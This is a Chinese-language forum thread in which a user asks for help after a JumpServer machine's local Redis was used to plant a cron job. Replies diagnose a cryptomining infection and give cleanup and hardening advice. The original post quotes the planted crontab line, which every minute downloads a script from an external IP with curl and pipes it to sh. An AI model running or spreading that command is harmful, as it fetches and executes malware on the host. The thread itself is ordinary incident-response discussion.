服务器被马了,求帮忙

[xiaotianhu]

公司用了个 jumpserver 做跳板机,之前运维同学弄的 版本 Version 1.3.2-2

今天发现连不上了.

进去发现 redis 出了问题.redis 是本地启动的,监听内网端口 排查发现 rdb 文件写入没权限,写入目录 /etc/cron.d 这...肯定不对啊.发现写入了一个文件:

文件内容 */1 * * * * curl -fsSL http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/init.sh |sh

被马无疑了.但是写入报了权限问题?这个文件怎么还写入成功了.

现在想研究一下这个马,然后对服务器得全处理一下了.头疼. 这个马怎么解 shell 玩的不好,求帮忙

[firebroo]

排除对方拿了权限之后是否改你 redis 启动权限，监听地址，不是的话，大概不是从 redis 进来的。

[catcalse]

中了挖矿病毒。。默哀。。

[shooter556]

先杀进程
删除相关文件
删除 crontab

监控网络连接异常

手不够快有可能需要写脚本，有些进程会 respawn 的

[shooter556]

想研究的话，不用删除，放到某个地方就行了

[houzhimeng]

挖矿，数据都在 tmp 下了，服务器上应该有 shell 脚本

[xiaotianhu]

@firebroo 那不至于用 redis 写文件来执行啊. 我怀疑是从 jumpserver 给 redis 执行命令.

[xiaotianhu]

@shooter556 docker 安全么.隔离性够用的吧

[defunct9]

开 ssh，让我上去看看

[lvzhiqiang]

那个定时任务归属那个用户的？ -- 还有，重装系统吧，你不知道系统那个角落还 藏有挂马脚本。

[1ffree]

上次中招， 就把机器改成 ssh 密钥登陆了， 再没发生过

[zarte]

@Livid
已经不止一次看到#8 defunct9 回复这句话了

[gaius]

查下进程，可能还有进程会自动下载脚本跑

[xiaotianhu]

搞定了,应该是没执行成功.虚惊了

[muchengxue]

挖矿的，利用了 redis 写文件的特性，你 redis 没设置密码吧

[cominghome]

你们的跳板机居然可以从外网访问到，心也太大了吧

[Livid]

@zarte 谢谢举报。那个账号会被彻底 ban。

[caryqy]

@zarte 人家 8 楼之前是有真正给提问的上去解决问题的，既然 8 楼写出来了为什么不能认为人家是想给 lz 提供解决办法呢
@Livid

[Removable]

@Livid #15 站长再仔细调查一下吧，那个老哥我觉得应该是真的想帮忙的

[Livid]

@caryqy
@Removable

我看了那个账号的回复记录，“开 ssh，我上去看看”他以前用同样的方式回复过很多次。

你会把你们公司的服务器的 ssh 开给不认识的人吗？会有任何公司允许这种事情发生吗？

因此这种毫无意义的回复，只是在灌水而已。当灌水灌成套路的时候，这样的账号会被处理。

[kangmang92]

@xiaotianhu 如何搞定的 详细说说 我的 docker 跑的 redis 也发现了 这个 多谢